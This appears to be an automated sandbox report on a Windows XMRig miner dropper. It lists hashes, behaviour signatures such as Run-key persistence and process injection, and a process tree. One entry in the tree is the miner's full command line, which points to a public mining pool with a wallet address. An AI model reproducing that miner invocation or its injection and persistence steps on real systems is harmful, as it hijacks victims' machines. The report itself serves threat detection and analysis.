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Analysis

  • max time kernel
    162s
  • max time network
    164s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/03/2023, 12:46

General

  • Target

    8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe

  • Size

    4.9MB

  • MD5

    067f1db9fbb391bc49dc3fa18a703b94

  • SHA1

    b533f7effa5249b8a59074c1a841c09ee644886e

  • SHA256

    8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407

  • SHA512

    f7d303e01a62573e4cd409fd673e198c24b0703f255c799966ef580d593f2bb5285db546e7b0d3d2c3de4a04c7509273b0fe8aef2bf7870f6b2586cdde7fb8e0

  • SSDEEP

    49152:wX42LgSkkLyyn3NWaZGTqE7s+9p7dx60cWkYtXAmd4NNNQazPUd6birCa9YioXcu:E+p7dx60BtQmdgVYd6b7a97oXc7u

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe
    "C:\Users\Admin\AppData\Local\Temp\8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4952
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1464
    • C:\Users\Admin\AppData\Local\Temp\8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe
      C:\Users\Admin\AppData\Local\Temp\8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe
      2⤵
      • Adds Run key to start application
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3112
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o xmr.2miners.com:2222 -u 44NWGWCDxqX6iv5rBpy8SgZkuVg2N2ymnaZA4KcqF645XbfKpx9MvXXJ4MFSwiNQqcEMQ1Hge5bjmgYXsjG89gEF6M8tnFB.miners2 -p mkay --algo rx/0 --cpu-max-threads-hint=50
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:1704

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe.log

    Filesize

    1KB

    MD5

    819dc687f4da92e5850508c10429fc9f

    SHA1

    d3441a3c46ddc99d03583be6b2ab02615baa60be

    SHA256

    357a8ea90e614160a9179ac7eb5e3ff159855a037b1bd0deecbd7d3e3a243119

    SHA512

    671735133e2643d2ec84511cb0a89dad9082e6255020fef4cd4e37b7a7207a06a36f4f22c646ce6854d6e244b2b9e090dc87aa3309a349d5b20a1a014bf1f7ee

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5u0yq2qr.tug.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1464-145-0x000001F5837D0000-0x000001F5837E0000-memory.dmp

    Filesize

    64KB

  • memory/1464-146-0x000001F5837D0000-0x000001F5837E0000-memory.dmp

    Filesize

    64KB

  • memory/1464-148-0x000001F5837D0000-0x000001F5837E0000-memory.dmp

    Filesize

    64KB

  • memory/1464-149-0x000001F5837D0000-0x000001F5837E0000-memory.dmp

    Filesize

    64KB

  • memory/1464-150-0x000001F5837D0000-0x000001F5837E0000-memory.dmp

    Filesize

    64KB

  • memory/1704-2333-0x00000280E1FF0000-0x00000280E2010000-memory.dmp

    Filesize

    128KB

  • memory/1704-2332-0x00000280E1FF0000-0x00000280E2010000-memory.dmp

    Filesize

    128KB

  • memory/1704-2329-0x0000000140000000-0x00000001407CD000-memory.dmp

    Filesize

    7.8MB

  • memory/1704-2326-0x00000280E0600000-0x00000280E0640000-memory.dmp

    Filesize

    256KB

  • memory/1704-2325-0x0000000140000000-0x00000001407CD000-memory.dmp

    Filesize

    7.8MB

  • memory/3112-186-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-200-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-163-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-165-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-167-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-169-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-171-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-173-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-174-0x000001FE46C80000-0x000001FE46C90000-memory.dmp

    Filesize

    64KB

  • memory/3112-176-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-178-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-180-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-182-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-184-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-159-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-188-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-192-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-190-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-194-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-196-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-198-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-161-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-202-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-204-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-206-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-208-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-210-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-212-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-214-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-216-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-218-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-2314-0x000001FE46C80000-0x000001FE46C90000-memory.dmp

    Filesize

    64KB

  • memory/3112-2315-0x000001FE46C80000-0x000001FE46C90000-memory.dmp

    Filesize

    64KB

  • memory/3112-157-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-156-0x000001FE46D90000-0x000001FE46E67000-memory.dmp

    Filesize

    860KB

  • memory/3112-2327-0x000001FE46C80000-0x000001FE46C90000-memory.dmp

    Filesize

    64KB

  • memory/3112-2328-0x000001FE46C80000-0x000001FE46C90000-memory.dmp

    Filesize

    64KB

  • memory/3112-153-0x0000000000400000-0x00000000004A6000-memory.dmp

    Filesize

    664KB

  • memory/4952-134-0x0000028E07570000-0x0000028E07592000-memory.dmp

    Filesize

    136KB

  • memory/4952-133-0x0000028E06CA0000-0x0000028E07194000-memory.dmp

    Filesize

    5.0MB

  • memory/4952-135-0x0000028E217E0000-0x0000028E217F0000-memory.dmp

    Filesize

    64KB

  • memory/4952-147-0x0000028E217E0000-0x0000028E217F0000-memory.dmp

    Filesize

    64KB